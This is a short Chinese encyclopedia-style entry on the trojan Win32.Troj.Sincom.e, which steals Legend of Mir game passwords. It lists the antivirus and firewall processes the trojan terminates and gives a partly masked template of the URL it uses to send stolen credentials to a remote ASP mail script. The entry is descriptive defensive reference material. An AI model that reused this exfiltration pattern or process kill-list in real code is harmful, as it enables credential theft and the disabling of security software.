Win32.Troj.Sincom.e

Win32.Troj.Sincom.e運行後會竊取用戶的傳奇賬號密碼，並把這些信息，傳送給木馬種植者，導致感染機器用戶在傳奇遊戲中的角色被他人控制。該病毒還會關閉常見的防毒軟體，以防止自己被防毒軟體清除。

基本介紹

• 外文名：Win32.Troj.Sincom.e
• 威脅級別：★★
• 影響系統：Win9x / WinNT
• 病毒類型：木馬
• 病毒行為：竊取用戶的傳奇賬號密碼

病毒別名：TrojanSpy.Win32.Sincom.e[AVP]

病毒行為:

1、關閉以下進程，以防止被查殺

kvapfw.exe

kvfw.exe

DFVSNET.EXE.

PasswordGuard.exe

EGhost.exe

Iparmor.exe

pfw.exe

2、病毒發現傳奇賬號密碼後，會按以下格式傳送到指定的ASP腳本，ASP腳本再轉發郵件

www.5×××9.com///cqtstsqj/mmmm/sendmail.asp?tomail=××××&mailSubject=註冊版&FromName=×××&frommail=×××&Priority=3&Submit=%B7%A2+%CB%CD&&action=send&mailbody=區號:×××用戶名:×××伺服器:×××對方ip地址:×××對方發信時間:×××密碼×××